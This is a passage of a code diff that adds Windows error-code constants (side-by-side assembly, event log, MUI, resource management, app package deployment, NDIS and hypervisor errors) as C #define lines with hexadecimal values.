ERROR_SXS_THREAD_QUERIES_DISABLED 0x36ba +#define ERROR_SXS_PROCESS_DEFAULT_ALREADY_SET 0x36bb +#define ERROR_SXS_UNKNOWN_ENCODING_GROUP 0x36bc +#define ERROR_SXS_UNKNOWN_ENCODING 0x36bd +#define ERROR_SXS_INVALID_XML_NAMESPACE_URI 0x36be +#define ERROR_SXS_ROOT_MANIFEST_DEPENDENCY_NOT_INSTALLED 0x36bf +#define ERROR_SXS_LEAF_MANIFEST_DEPENDENCY_NOT_INSTALLED 0x36c0 +#define ERROR_SXS_INVALID_ASSEMBLY_IDENTITY_ATTRIBUTE 0x36c1 +#define ERROR_SXS_MANIFEST_MISSING_REQUIRED_DEFAULT_NAMESPACE 0x36c2 +#define ERROR_SXS_MANIFEST_INVALID_REQUIRED_DEFAULT_NAMESPACE 0x36c3 +#define ERROR_SXS_PRIVATE_MANIFEST_CROSS_PATH_WITH_REPARSE_POINT 0x36c4 +#define ERROR_SXS_DUPLICATE_DLL_NAME 0x36c5 +#define ERROR_SXS_DUPLICATE_WINDOWCLASS_NAME 0x36c6 +#define ERROR_SXS_DUPLICATE_CLSID 0x36c7 +#define ERROR_SXS_DUPLICATE_IID 0x36c8 +#define ERROR_SXS_DUPLICATE_TLBID 0x36c9 +#define ERROR_SXS_DUPLICATE_PROGID 0x36ca +#define ERROR_SXS_DUPLICATE_ASSEMBLY_NAME 0x36cb +#define ERROR_SXS_FILE_HASH_MISMATCH 0x36cc +#define ERROR_SXS_POLICY_PARSE_ERROR 0x36cd +#define ERROR_SXS_XML_E_MISSINGQUOTE 0x36ce +#define ERROR_SXS_XML_E_COMMENTSYNTAX 0x36cf +#define ERROR_SXS_XML_E_BADSTARTNAMECHAR 0x36d0 +#define ERROR_SXS_XML_E_BADNAMECHAR 0x36d1 +#define ERROR_SXS_XML_E_BADCHARINSTRING 0x36d2 +#define ERROR_SXS_XML_E_XMLDECLSYNTAX 0x36d3 +#define ERROR_SXS_XML_E_BADCHARDATA 0x36d4 +#define ERROR_SXS_XML_E_MISSINGWHITESPACE 0x36d5 +#define ERROR_SXS_XML_E_EXPECTINGTAGEND 0x36d6 +#define ERROR_SXS_XML_E_MISSINGSEMICOLON 0x36d7 +#define ERROR_SXS_XML_E_UNBALANCEDPAREN 0x36d8 +#define ERROR_SXS_XML_E_INTERNALERROR 0x36d9 +#define ERROR_SXS_XML_E_UNEXPECTED_WHITESPACE 0x36da +#define ERROR_SXS_XML_E_INCOMPLETE_ENCODING 0x36db +#define ERROR_SXS_XML_E_MISSING_PAREN 0x36dc +#define ERROR_SXS_XML_E_EXPECTINGCLOSEQUOTE 0x36dd +#define ERROR_SXS_XML_E_MULTIPLE_COLONS 0x36de +#define ERROR_SXS_XML_E_INVALID_DECIMAL 0x36df +#define ERROR_SXS_XML_E_INVALID_HEXIDECIMAL 0x36e0 +#define ERROR_SXS_XML_E_INVALID_UNICODE 0x36e1 +#define ERROR_SXS_XML_E_WHITESPACEORQUESTIONMARK 0x36e2 +#define ERROR_SXS_XML_E_UNEXPECTEDENDTAG 0x36e3 +#define ERROR_SXS_XML_E_UNCLOSEDTAG 0x36e4 +#define ERROR_SXS_XML_E_DUPLICATEATTRIBUTE 0x36e5 +#define ERROR_SXS_XML_E_MULTIPLEROOTS 0x36e6 +#define ERROR_SXS_XML_E_INVALIDATROOTLEVEL 0x36e7 +#define ERROR_SXS_XML_E_BADXMLDECL 0x36e8 +#define ERROR_SXS_XML_E_MISSINGROOT 0x36e9 +#define ERROR_SXS_XML_E_UNEXPECTEDEOF 0x36ea +#define ERROR_SXS_XML_E_BADPEREFINSUBSET 0x36eb +#define ERROR_SXS_XML_E_UNCLOSEDSTARTTAG 0x36ec +#define ERROR_SXS_XML_E_UNCLOSEDENDTAG 0x36ed +#define ERROR_SXS_XML_E_UNCLOSEDSTRING 0x36ee +#define ERROR_SXS_XML_E_UNCLOSEDCOMMENT 0x36ef +#define ERROR_SXS_XML_E_UNCLOSEDDECL 0x36f0 +#define ERROR_SXS_XML_E_UNCLOSEDCDATA 0x36f1 +#define ERROR_SXS_XML_E_RESERVEDNAMESPACE 0x36f2 +#define ERROR_SXS_XML_E_INVALIDENCODING 0x36f3 +#define ERROR_SXS_XML_E_INVALIDSWITCH 0x36f4 +#define ERROR_SXS_XML_E_BADXMLCASE 0x36f5 +#define ERROR_SXS_XML_E_INVALID_STANDALONE 0x36f6 +#define ERROR_SXS_XML_E_UNEXPECTED_STANDALONE 0x36f7 +#define ERROR_SXS_XML_E_INVALID_VERSION 0x36f8 +#define ERROR_SXS_XML_E_MISSINGEQUALS 0x36f9 +#define ERROR_SXS_PROTECTION_RECOVERY_FAILED 0x36fa +#define ERROR_SXS_PROTECTION_PUBLIC_KEY_TOO_SHORT 0x36fb +#define ERROR_SXS_PROTECTION_CATALOG_NOT_VALID 0x36fc +#define ERROR_SXS_UNTRANSLATABLE_HRESULT 0x36fd +#define ERROR_SXS_PROTECTION_CATALOG_FILE_MISSING 0x36fe +#define ERROR_SXS_MISSING_ASSEMBLY_IDENTITY_ATTRIBUTE 0x36ff +#define ERROR_SXS_INVALID_ASSEMBLY_IDENTITY_ATTRIBUTE_NAME 0x3700 +#define ERROR_SXS_ASSEMBLY_MISSING 0x3701 +#define ERROR_SXS_CORRUPT_ACTIVATION_STACK 0x3702 +#define ERROR_SXS_CORRUPTION 0x3703 +#define ERROR_SXS_EARLY_DEACTIVATION 0x3704 +#define ERROR_SXS_INVALID_DEACTIVATION 0x3705 +#define ERROR_SXS_MULTIPLE_DEACTIVATION 0x3706 +#define ERROR_SXS_PROCESS_TERMINATION_REQUESTED 0x3707 +#define ERROR_SXS_RELEASE_ACTIVATION_CONTEXT 0x3708 +#define ERROR_SXS_SYSTEM_DEFAULT_ACTIVATION_CONTEXT_EMPTY 0x3709 +#define ERROR_SXS_INVALID_IDENTITY_ATTRIBUTE_VALUE 0x370a +#define ERROR_SXS_INVALID_IDENTITY_ATTRIBUTE_NAME 0x370b +#define ERROR_SXS_IDENTITY_DUPLICATE_ATTRIBUTE 0x370c +#define ERROR_SXS_IDENTITY_PARSE_ERROR 0x370d +#define ERROR_MALFORMED_SUBSTITUTION_STRING 0x370e +#define ERROR_SXS_INCORRECT_PUBLIC_KEY_TOKEN 0x370f +#define ERROR_UNMAPPED_SUBSTITUTION_STRING 0x3710 +#define ERROR_SXS_ASSEMBLY_NOT_LOCKED 0x3711 +#define ERROR_SXS_COMPONENT_STORE_CORRUPT 0x3712 +#define ERROR_ADVANCED_INSTALLER_FAILED 0x3713 +#define ERROR_XML_ENCODING_MISMATCH 0x3714 +#define ERROR_SXS_MANIFEST_IDENTITY_SAME_BUT_CONTENTS_DIFFERENT 0x3715 +#define ERROR_SXS_IDENTITIES_DIFFERENT 0x3716 +#define ERROR_SXS_ASSEMBLY_IS_NOT_A_DEPLOYMENT 0x3717 +#define ERROR_SXS_FILE_NOT_PART_OF_ASSEMBLY 0x3718 +#define ERROR_SXS_MANIFEST_TOO_BIG 0x3719 +#define ERROR_SXS_SETTING_NOT_REGISTERED 0x371a +#define ERROR_SXS_TRANSACTION_CLOSURE_INCOMPLETE 0x371b +#define ERROR_SMI_PRIMITIVE_INSTALLER_FAILED 0x371c +#define ERROR_GENERIC_COMMAND_FAILED 0x371d +#define ERROR_SXS_FILE_HASH_MISSING 0x371e +#define ERROR_SXS_DUPLICATE_ACTIVATABLE_CLASS 0x371f +#define ERROR_EVT_INVALID_CHANNEL_PATH 0x3a98 +#define ERROR_EVT_INVALID_QUERY 0x3a99 +#define ERROR_EVT_PUBLISHER_METADATA_NOT_FOUND 0x3a9a +#define ERROR_EVT_EVENT_TEMPLATE_NOT_FOUND 0x3a9b +#define ERROR_EVT_INVALID_PUBLISHER_NAME 0x3a9c +#define ERROR_EVT_INVALID_EVENT_DATA 0x3a9d +#define ERROR_EVT_CHANNEL_NOT_FOUND 0x3a9f +#define ERROR_EVT_MALFORMED_XML_TEXT 0x3aa0 +#define ERROR_EVT_SUBSCRIPTION_TO_DIRECT_CHANNEL 0x3aa1 +#define ERROR_EVT_CONFIGURATION_ERROR 0x3aa2 +#define ERROR_EVT_QUERY_RESULT_STALE 0x3aa3 +#define ERROR_EVT_QUERY_RESULT_INVALID_POSITION 0x3aa4 +#define ERROR_EVT_NON_VALIDATING_MSXML 0x3aa5 +#define ERROR_EVT_FILTER_ALREADYSCOPED 0x3aa6 +#define ERROR_EVT_FILTER_NOTELTSET 0x3aa7 +#define ERROR_EVT_FILTER_INVARG 0x3aa8 +#define ERROR_EVT_FILTER_INVTEST 0x3aa9 +#define ERROR_EVT_FILTER_INVTYPE 0x3aaa +#define ERROR_EVT_FILTER_PARSEERR 0x3aab +#define ERROR_EVT_FILTER_UNSUPPORTEDOP 0x3aac +#define ERROR_EVT_FILTER_UNEXPECTEDTOKEN 0x3aad +#define ERROR_EVT_INVALID_OPERATION_OVER_ENABLED_DIRECT_CHANNEL 0x3aae +#define ERROR_EVT_INVALID_CHANNEL_PROPERTY_VALUE 0x3aaf +#define ERROR_EVT_INVALID_PUBLISHER_PROPERTY_VALUE 0x3ab0 +#define ERROR_EVT_CHANNEL_CANNOT_ACTIVATE 0x3ab1 +#define ERROR_EVT_FILTER_TOO_COMPLEX 0x3ab2 +#define ERROR_EVT_MESSAGE_NOT_FOUND 0x3ab3 +#define ERROR_EVT_MESSAGE_ID_NOT_FOUND 0x3ab4 +#define ERROR_EVT_UNRESOLVED_VALUE_INSERT 0x3ab5 +#define ERROR_EVT_UNRESOLVED_PARAMETER_INSERT 0x3ab6 +#define ERROR_EVT_MAX_INSERTS_REACHED 0x3ab7 +#define ERROR_EVT_EVENT_DEFINITION_NOT_FOUND 0x3ab8 +#define ERROR_EVT_MESSAGE_LOCALE_NOT_FOUND 0x3ab9 +#define ERROR_EVT_VERSION_TOO_OLD 0x3aba +#define ERROR_EVT_VERSION_TOO_NEW 0x3abb +#define ERROR_EVT_CANNOT_OPEN_CHANNEL_OF_QUERY 0x3abc +#define ERROR_EVT_PUBLISHER_DISABLED 0x3abd +#define ERROR_EVT_FILTER_OUT_OF_RANGE 0x3abe +#define ERROR_EC_SUBSCRIPTION_CANNOT_ACTIVATE 0x3ae8 +#define ERROR_EC_LOG_DISABLED 0x3ae9 +#define ERROR_EC_CIRCULAR_FORWARDING 0x3aea +#define ERROR_EC_CREDSTORE_FULL 0x3aeb +#define ERROR_EC_CRED_NOT_FOUND 0x3aec +#define ERROR_EC_NO_ACTIVE_CHANNEL 0x3aed +#define ERROR_MUI_FILE_NOT_FOUND 0x3afc +#define ERROR_MUI_INVALID_FILE 0x3afd +#define ERROR_MUI_INVALID_RC_CONFIG 0x3afe +#define ERROR_MUI_INVALID_LOCALE_NAME 0x3aff +#define ERROR_MUI_INVALID_ULTIMATEFALLBACK_NAME 0x3b00 +#define ERROR_MUI_FILE_NOT_LOADED 0x3b01 +#define ERROR_RESOURCE_ENUM_USER_STOP 0x3b02 +#define ERROR_MUI_INTLSETTINGS_UILANG_NOT_INSTALLED 0x3b03 +#define ERROR_MUI_INTLSETTINGS_INVALID_LOCALE_NAME 0x3b04 +#define ERROR_MRM_RUNTIME_NO_DEFAULT_OR_NEUTRAL_RESOURCE 0x3b06 +#define ERROR_MRM_INVALID_PRICONFIG 0x3b07 +#define ERROR_MRM_INVALID_FILE_TYPE 0x3b08 +#define ERROR_MRM_UNKNOWN_QUALIFIER 0x3b09 +#define ERROR_MRM_INVALID_QUALIFIER_VALUE 0x3b0a +#define ERROR_MRM_NO_CANDIDATE 0x3b0b +#define ERROR_MRM_NO_MATCH_OR_DEFAULT_CANDIDATE 0x3b0c +#define ERROR_MRM_RESOURCE_TYPE_MISMATCH 0x3b0d +#define ERROR_MRM_DUPLICATE_MAP_NAME 0x3b0e +#define ERROR_MRM_DUPLICATE_ENTRY 0x3b0f +#define ERROR_MRM_INVALID_RESOURCE_IDENTIFIER 0x3b10 +#define ERROR_MRM_FILEPATH_TOO_LONG 0x3b11 +#define ERROR_MRM_UNSUPPORTED_DIRECTORY_TYPE 0x3b12 +#define ERROR_MRM_INVALID_PRI_FILE 0x3b16 +#define ERROR_MRM_NAMED_RESOURCE_NOT_FOUND 0x3b17 +#define ERROR_MRM_MAP_NOT_FOUND 0x3b1f +#define ERROR_MRM_UNSUPPORTED_PROFILE_TYPE 0x3b20 +#define ERROR_MRM_INVALID_QUALIFIER_OPERATOR 0x3b21 +#define ERROR_MRM_INDETERMINATE_QUALIFIER_VALUE 0x3b22 +#define ERROR_MRM_AUTOMERGE_ENABLED 0x3b23 +#define ERROR_MRM_TOO_MANY_RESOURCES 0x3b24 +#define ERROR_MRM_UNSUPPORTED_FILE_TYPE_FOR_MERGE 0x3b25 +#define ERROR_MRM_UNSUPPORTED_FILE_TYPE_FOR_LOAD_UNLOAD_PRI_FILE 0x3b26 +#define ERROR_MRM_NO_CURRENT_VIEW_ON_THREAD 0x3b27 +#define ERROR_DIFFERENT_PROFILE_RESOURCE_MANAGER_EXIST 0x3b28 +#define ERROR_OPERATION_NOT_ALLOWED_FROM_SYSTEM_COMPONENT 0x3b29 +#define ERROR_MRM_DIRECT_REF_TO_NON_DEFAULT_RESOURCE 0x3b2a +#define ERROR_MRM_GENERATION_COUNT_MISMATCH 0x3b2b +#define ERROR_PRI_MERGE_VERSION_MISMATCH 0x3b2c +#define ERROR_PRI_MERGE_MISSING_SCHEMA 0x3b2d +#define ERROR_PRI_MERGE_LOAD_FILE_FAILED 0x3b2e +#define ERROR_PRI_MERGE_ADD_FILE_FAILED 0x3b2f +#define ERROR_PRI_MERGE_WRITE_FILE_FAILED 0x3b30 +#define ERROR_PRI_MERGE_MULTIPLE_PACKAGE_FAMILIES_NOT_ALLOWED 0x3b31 +#define ERROR_PRI_MERGE_MULTIPLE_MAIN_PACKAGES_NOT_ALLOWED 0x3b32 +#define ERROR_PRI_MERGE_BUNDLE_PACKAGES_NOT_ALLOWED 0x3b33 +#define ERROR_PRI_MERGE_MAIN_PACKAGE_REQUIRED 0x3b34 +#define ERROR_PRI_MERGE_RESOURCE_PACKAGE_REQUIRED 0x3b35 +#define ERROR_PRI_MERGE_INVALID_FILE_NAME 0x3b36 +#define ERROR_MRM_PACKAGE_NOT_FOUND 0x3b37 +#define ERROR_MRM_MISSING_DEFAULT_LANGUAGE 0x3b38 +#define ERROR_MRM_SCOPE_ITEM_CONFLICT 0x3b39 +#define ERROR_MCA_INVALID_CAPABILITIES_STRING 0x3b60 +#define ERROR_MCA_INVALID_VCP_VERSION 0x3b61 +#define ERROR_MCA_MONITOR_VIOLATES_MCCS_SPECIFICATION 0x3b62 +#define ERROR_MCA_MCCS_VERSION_MISMATCH 0x3b63 +#define ERROR_MCA_UNSUPPORTED_MCCS_VERSION 0x3b64 +#define ERROR_MCA_INTERNAL_ERROR 0x3b65 +#define ERROR_MCA_INVALID_TECHNOLOGY_TYPE_RETURNED 0x3b66 +#define ERROR_MCA_UNSUPPORTED_COLOR_TEMPERATURE 0x3b67 +#define ERROR_AMBIGUOUS_SYSTEM_DEVICE 0x3b92 +#define ERROR_SYSTEM_DEVICE_NOT_FOUND 0x3bc3 +#define ERROR_HASH_NOT_SUPPORTED 0x3bc4 +#define ERROR_HASH_NOT_PRESENT 0x3bc5 +#define ERROR_SECONDARY_IC_PROVIDER_NOT_REGISTERED 0x3bd9 +#define ERROR_GPIO_CLIENT_INFORMATION_INVALID 0x3bda +#define ERROR_GPIO_VERSION_NOT_SUPPORTED 0x3bdb +#define ERROR_GPIO_INVALID_REGISTRATION_PACKET 0x3bdc +#define ERROR_GPIO_OPERATION_DENIED 0x3bdd +#define ERROR_GPIO_INCOMPATIBLE_CONNECT_MODE 0x3bde +#define ERROR_GPIO_INTERRUPT_ALREADY_UNMASKED 0x3bdf +#define ERROR_CANNOT_COMPOSE_APISET_EXTENSION 0x3c14 +#define ERROR_APISET_SCHEMA_VERSION_NOT_SUPPORTED 0x3c15 +#define ERROR_CANNOT_SWITCH_RUNLEVEL 0x3c28 +#define ERROR_INVALID_RUNLEVEL_SETTING 0x3c29 +#define ERROR_RUNLEVEL_SWITCH_TIMEOUT 0x3c2a +#define ERROR_RUNLEVEL_SWITCH_AGENT_TIMEOUT 0x3c2b +#define ERROR_RUNLEVEL_SWITCH_IN_PROGRESS 0x3c2c +#define ERROR_SERVICES_FAILED_AUTOSTART 0x3c2d +#define ERROR_COM_TASK_STOP_PENDING 0x3c8d +#define ERROR_INSTALL_OPEN_PACKAGE_FAILED 0x3cf0 +#define ERROR_INSTALL_PACKAGE_NOT_FOUND 0x3cf1 +#define ERROR_INSTALL_INVALID_PACKAGE 0x3cf2 +#define ERROR_INSTALL_RESOLVE_DEPENDENCY_FAILED 0x3cf3 +#define ERROR_INSTALL_OUT_OF_DISK_SPACE 0x3cf4 +#define ERROR_INSTALL_NETWORK_FAILURE 0x3cf5 +#define ERROR_INSTALL_REGISTRATION_FAILURE 0x3cf6 +#define ERROR_INSTALL_DEREGISTRATION_FAILURE 0x3cf7 +#define ERROR_INSTALL_CANCEL 0x3cf8 +#define ERROR_INSTALL_FAILED 0x3cf9 +#define ERROR_REMOVE_FAILED 0x3cfa +#define ERROR_PACKAGE_ALREADY_EXISTS 0x3cfb +#define ERROR_NEEDS_REMEDIATION 0x3cfc +#define ERROR_INSTALL_PREREQUISITE_FAILED 0x3cfd +#define ERROR_PACKAGE_REPOSITORY_CORRUPTED 0x3cfe +#define ERROR_INSTALL_POLICY_FAILURE 0x3cff +#define ERROR_PACKAGE_UPDATING 0x3d00 +#define ERROR_DEPLOYMENT_BLOCKED_BY_POLICY 0x3d01 +#define ERROR_PACKAGES_IN_USE 0x3d02 +#define ERROR_RECOVERY_FILE_CORRUPT 0x3d03 +#define ERROR_INVALID_STAGED_SIGNATURE 0x3d04 +#define ERROR_DELETING_EXISTING_APPLICATIONDATA_STORE_FAILED 0x3d05 +#define ERROR_INSTALL_PACKAGE_DOWNGRADE 0x3d06 +#define ERROR_SYSTEM_NEEDS_REMEDIATION 0x3d07 +#define ERROR_APPX_INTEGRITY_FAILURE_CLR_NGEN 0x3d08 +#define ERROR_RESILIENCY_FILE_CORRUPT 0x3d09 +#define ERROR_INSTALL_FIREWALL_SERVICE_NOT_RUNNING 0x3d0a +#define ERROR_PACKAGE_MOVE_FAILED 0x3d0b +#define ERROR_INSTALL_VOLUME_NOT_EMPTY 0x3d0c +#define ERROR_INSTALL_VOLUME_OFFLINE 0x3d0d +#define ERROR_INSTALL_VOLUME_CORRUPT 0x3d0e +#define ERROR_NEEDS_REGISTRATION 0x3d0f +#define ERROR_INSTALL_WRONG_PROCESSOR_ARCHITECTURE 0x3d10 +#define ERROR_DEV_SIDELOAD_LIMIT_EXCEEDED 0x3d11 +#define ERROR_INSTALL_OPTIONAL_PACKAGE_REQUIRES_MAIN_PACKAGE 0x3d12 +#define ERROR_PACKAGE_NOT_SUPPORTED_ON_FILESYSTEM 0x3d13 +#define ERROR_PACKAGE_MOVE_BLOCKED_BY_STREAMING 0x3d14 +#define ERROR_INSTALL_OPTIONAL_PACKAGE_APPLICATIONID_NOT_UNIQUE 0x3d15 +#define ERROR_PACKAGE_STAGING_ONHOLD 0x3d16 +#define ERROR_INSTALL_INVALID_RELATED_SET_UPDATE 0x3d17 +#define ERROR_INSTALL_OPTIONAL_PACKAGE_REQUIRES_MAIN_PACKAGE_FULLTRUST_CAPABILITY 0x3d18 +#define ERROR_DEPLOYMENT_BLOCKED_BY_USER_LOG_OFF 0x3d19 +#define ERROR_PROVISION_OPTIONAL_PACKAGE_REQUIRES_MAIN_PACKAGE_PROVISIONED 0x3d1a +#define ERROR_PACKAGES_REPUTATION_CHECK_FAILED 0x3d1b +#define ERROR_PACKAGES_REPUTATION_CHECK_TIMEDOUT 0x3d1c +#define ERROR_DEPLOYMENT_OPTION_NOT_SUPPORTED 0x3d1d +#define ERROR_APPINSTALLER_ACTIVATION_BLOCKED 0x3d1e +#define ERROR_REGISTRATION_FROM_REMOTE_DRIVE_NOT_SUPPORTED 0x3d1f +#define ERROR_APPX_RAW_DATA_WRITE_FAILED 0x3d20 +#define ERROR_DEPLOYMENT_BLOCKED_BY_VOLUME_POLICY_PACKAGE 0x3d21 +#define ERROR_DEPLOYMENT_BLOCKED_BY_VOLUME_POLICY_MACHINE 0x3d22 +#define ERROR_DEPLOYMENT_BLOCKED_BY_PROFILE_POLICY 0x3d23 +#define ERROR_DEPLOYMENT_FAILED_CONFLICTING_MUTABLE_PACKAGE_DIRECTORY 0x3d24 +#define ERROR_SINGLETON_RESOURCE_INSTALLED_IN_ACTIVE_USER 0x3d25 +#define ERROR_DIFFERENT_VERSION_OF_PACKAGED_SERVICE_INSTALLED 0x3d26 +#define ERROR_SERVICE_EXISTS_AS_NON_PACKAGED_SERVICE 0x3d27 +#define ERROR_PACKAGED_SERVICE_REQUIRES_ADMIN_PRIVILEGES 0x3d28 +#define ERROR_REDIRECTION_TO_DEFAULT_ACCOUNT_NOT_ALLOWED 0x3d29 +#define ERROR_PACKAGE_LACKS_CAPABILITY_TO_DEPLOY_ON_HOST 0x3d2a +#define ERROR_UNSIGNED_PACKAGE_INVALID_CONTENT 0x3d2b +#define ERROR_UNSIGNED_PACKAGE_INVALID_PUBLISHER_NAMESPACE 0x3d2c +#define ERROR_SIGNED_PACKAGE_INVALID_PUBLISHER_NAMESPACE 0x3d2d +#define ERROR_PACKAGE_EXTERNAL_LOCATION_NOT_ALLOWED 0x3d2e +#define ERROR_INSTALL_FULLTRUST_HOSTRUNTIME_REQUIRES_MAIN_PACKAGE_FULLTRUST_CAPABILITY 0x3d2f +#define ERROR_PACKAGE_LACKS_CAPABILITY_FOR_MANDATORY_STARTUPTASKS 0x3d30 +#define ERROR_INSTALL_RESOLVE_HOSTRUNTIME_DEPENDENCY_FAILED 0x3d31 +#define ERROR_MACHINE_SCOPE_NOT_ALLOWED 0x3d32 +#define ERROR_CLASSIC_COMPAT_MODE_NOT_ALLOWED 0x3d33 +#define ERROR_STAGEFROMUPDATEAGENT_PACKAGE_NOT_APPLICABLE 0x3d34 +#define ERROR_PACKAGE_NOT_REGISTERED_FOR_USER 0x3d35 +#define ERROR_PACKAGE_NAME_MISMATCH 0x3d36 +#define ERROR_APPINSTALLER_URI_IN_USE 0x3d37 +#define ERROR_APPINSTALLER_IS_MANAGED_BY_SYSTEM 0x3d38 +#define ERROR_SERVICE_BLOCKED_BY_SYSPREP_IN_PROGRESS 0x3d39 +#define ERROR_UNSUPPORTED_ARM32_PACKAGE_REQUIRES_REMEDIAITON 0x3d3a +#define ERROR_UUP_PRODUCT_NOT_APPLICABLE 0x3d3b +#define ERROR_BLOCKED_BY_PENDING_PACKAGE_REMOVAL 0x3d3c +#define ERROR_PACKAGE_REPOSITORY_ROOT_CORRUPTED 0x3d3d +#define ERROR_PACKAGE_MANIFEST_NOT_FOUND 0x3d3e +#define ERROR_DEPLOYMENT_BLOCKED_BY_REMOVEDEFAULTPACKAGES_POLICY 0x3d3f +#define ERROR_URI_BLOCKED_BY_POLICY_MSIXALLOWEDZONES 0x3d40 +#define ERROR_URI_RECOMMENDED_BLOCK_BY_SMARTSCREEN 0x3d41 +#define APPMODEL_ERROR_NO_PACKAGE 0x3d54 +#define APPMODEL_ERROR_PACKAGE_RUNTIME_CORRUPT 0x3d55 +#define APPMODEL_ERROR_PACKAGE_IDENTITY_CORRUPT 0x3d56 +#define APPMODEL_ERROR_NO_APPLICATION 0x3d57 +#define APPMODEL_ERROR_DYNAMIC_PROPERTY_READ_FAILED 0x3d58 +#define APPMODEL_ERROR_DYNAMIC_PROPERTY_INVALID 0x3d59 +#define APPMODEL_ERROR_PACKAGE_NOT_AVAILABLE 0x3d5a +#define APPMODEL_ERROR_NO_MUTABLE_DIRECTORY 0x3d5b +#define ERROR_STATE_LOAD_STORE_FAILED 0x3db8 +#define ERROR_STATE_GET_VERSION_FAILED 0x3db9 +#define ERROR_STATE_SET_VERSION_FAILED 0x3dba +#define ERROR_STATE_STRUCTURED_RESET_FAILED 0x3dbb +#define ERROR_STATE_OPEN_CONTAINER_FAILED 0x3dbc +#define ERROR_STATE_CREATE_CONTAINER_FAILED 0x3dbd +#define ERROR_STATE_DELETE_CONTAINER_FAILED 0x3dbe +#define ERROR_STATE_READ_SETTING_FAILED 0x3dbf +#define ERROR_STATE_WRITE_SETTING_FAILED 0x3dc0 +#define ERROR_STATE_DELETE_SETTING_FAILED 0x3dc1 +#define ERROR_STATE_QUERY_SETTING_FAILED 0x3dc2 +#define ERROR_STATE_READ_COMPOSITE_SETTING_FAILED 0x3dc3 +#define ERROR_STATE_WRITE_COMPOSITE_SETTING_FAILED 0x3dc4 +#define ERROR_STATE_ENUMERATE_CONTAINER_FAILED 0x3dc5 +#define ERROR_STATE_ENUMERATE_SETTINGS_FAILED 0x3dc6 +#define ERROR_STATE_COMPOSITE_SETTING_VALUE_SIZE_LIMIT_EXCEEDED 0x3dc7 +#define ERROR_STATE_SETTING_VALUE_SIZE_LIMIT_EXCEEDED 0x3dc8 +#define ERROR_STATE_SETTING_NAME_SIZE_LIMIT_EXCEEDED 0x3dc9 +#define ERROR_STATE_CONTAINER_NAME_SIZE_LIMIT_EXCEEDED 0x3dca +#define ERROR_API_UNAVAILABLE 0x3de1 +#define ERROR_NDIS_INTERFACE_CLOSING 0x80340002 +#define ERROR_NDIS_BAD_VERSION 0x80340004 +#define ERROR_NDIS_BAD_CHARACTERISTICS 0x80340005 +#define ERROR_NDIS_ADAPTER_NOT_FOUND 0x80340006 +#define ERROR_NDIS_OPEN_FAILED 0x80340007 +#define ERROR_NDIS_DEVICE_FAILED 0x80340008 +#define ERROR_NDIS_MULTICAST_FULL 0x80340009 +#define ERROR_NDIS_MULTICAST_EXISTS 0x8034000a +#define ERROR_NDIS_MULTICAST_NOT_FOUND 0x8034000b +#define ERROR_NDIS_REQUEST_ABORTED 0x8034000c +#define ERROR_NDIS_RESET_IN_PROGRESS 0x8034000d +#define ERROR_NDIS_NOT_SUPPORTED 0x803400bb +#define ERROR_NDIS_INVALID_PACKET 0x8034000f +#define ERROR_NDIS_ADAPTER_NOT_READY 0x80340011 +#define ERROR_NDIS_INVALID_LENGTH 0x80340014 +#define ERROR_NDIS_INVALID_DATA 0x80340015 +#define ERROR_NDIS_BUFFER_TOO_SHORT 0x80340016 +#define ERROR_NDIS_INVALID_OID 0x80340017 +#define ERROR_NDIS_ADAPTER_REMOVED 0x80340018 +#define ERROR_NDIS_UNSUPPORTED_MEDIA 0x80340019 +#define ERROR_NDIS_GROUP_ADDRESS_IN_USE 0x8034001a +#define ERROR_NDIS_FILE_NOT_FOUND 0x8034001b +#define ERROR_NDIS_ERROR_READING_FILE 0x8034001c +#define ERROR_NDIS_ALREADY_MAPPED 0x8034001d +#define ERROR_NDIS_RESOURCE_CONFLICT 0x8034001e +#define ERROR_NDIS_MEDIA_DISCONNECTED 0x8034001f +#define ERROR_NDIS_INVALID_ADDRESS 0x80340022 +#define ERROR_NDIS_INVALID_DEVICE_REQUEST 0x80340010 +#define ERROR_NDIS_PAUSED 0x8034002a +#define ERROR_NDIS_INTERFACE_NOT_FOUND 0x8034002b +#define ERROR_NDIS_UNSUPPORTED_REVISION 0x8034002c +#define ERROR_NDIS_INVALID_PORT 0x8034002d +#define ERROR_NDIS_INVALID_PORT_STATE 0x8034002e +#define ERROR_NDIS_LOW_POWER_STATE 0x8034002f +#define ERROR_NDIS_REINIT_REQUIRED 0x80340030 +#define ERROR_NDIS_NO_QUEUES 0x80340031 +#define ERROR_NDIS_DOT11_AUTO_CONFIG_ENABLED 0x80342000 +#define ERROR_NDIS_DOT11_MEDIA_IN_USE 0x80342001 +#define ERROR_NDIS_DOT11_POWER_STATE_INVALID 0x80342002 +#define ERROR_NDIS_PM_WOL_PATTERN_LIST_FULL 0x80342003 +#define ERROR_NDIS_PM_PROTOCOL_OFFLOAD_LIST_FULL 0x80342004 +#define ERROR_NDIS_DOT11_AP_CHANNEL_CURRENTLY_NOT_AVAILABLE 0x80342005 +#define ERROR_NDIS_DOT11_AP_BAND_CURRENTLY_NOT_AVAILABLE 0x80342006 +#define ERROR_NDIS_DOT11_AP_CHANNEL_NOT_ALLOWED 0x80342007 +#define ERROR_NDIS_DOT11_AP_BAND_NOT_ALLOWED 0x80342008 +#define ERROR_NDIS_DOT11_AP_RADIO_RESTRICTION 0x80342009 +#define ERROR_NDIS_INDICATION_REQUIRED 0x340001 +#define ERROR_NDIS_OFFLOAD_POLICY 0xc034100f +#define ERROR_NDIS_OFFLOAD_CONNECTION_REJECTED 0xc0341012 +#define ERROR_NDIS_OFFLOAD_PATH_REJECTED 0xc0341013 +#define ERROR_HV_INVALID_HYPERCALL_CODE 0xc0350002 +#define ERROR_HV_INVALID_HYPERCALL_INPUT 0xc0350003 +#define ERROR_HV_INVALID_ALIGNMENT 0xc0350004 +#define ERROR_HV_INVALID_PARAMETER 0xc0350005 +#define ERROR_HV_ACCESS_DENIED 0xc0350006 +#define ERROR_HV_INVALID_PARTITION_STATE 0xc0350007 +#define ERROR_HV_OPERATION_DENIED 0xc0350008 +#define ERROR_HV_UNKNOWN_PROPERTY 0xc0350009 +#define ERROR_HV_PROPERTY_VALUE_OUT_OF_RANGE 0xc035000a +#define ERROR_HV_INSUFFICIENT_MEMORY 0xc035000b +#define ERROR_HV_PARTITION_TOO_DEEP 0xc035000c +#define ERROR_HV_INVALID_PARTITION_ID 0xc035000d +#define ERROR_HV_INVALID_VP_INDEX 0xc035000e +#define ERROR_HV_INVALID_PORT_ID 0xc0350011 +#define ERROR_HV_INVALID_CONNECTION_ID 0xc0350012 +#define ERROR_HV_INSUFFICIENT_BUFFERS 0xc0350013 +#define 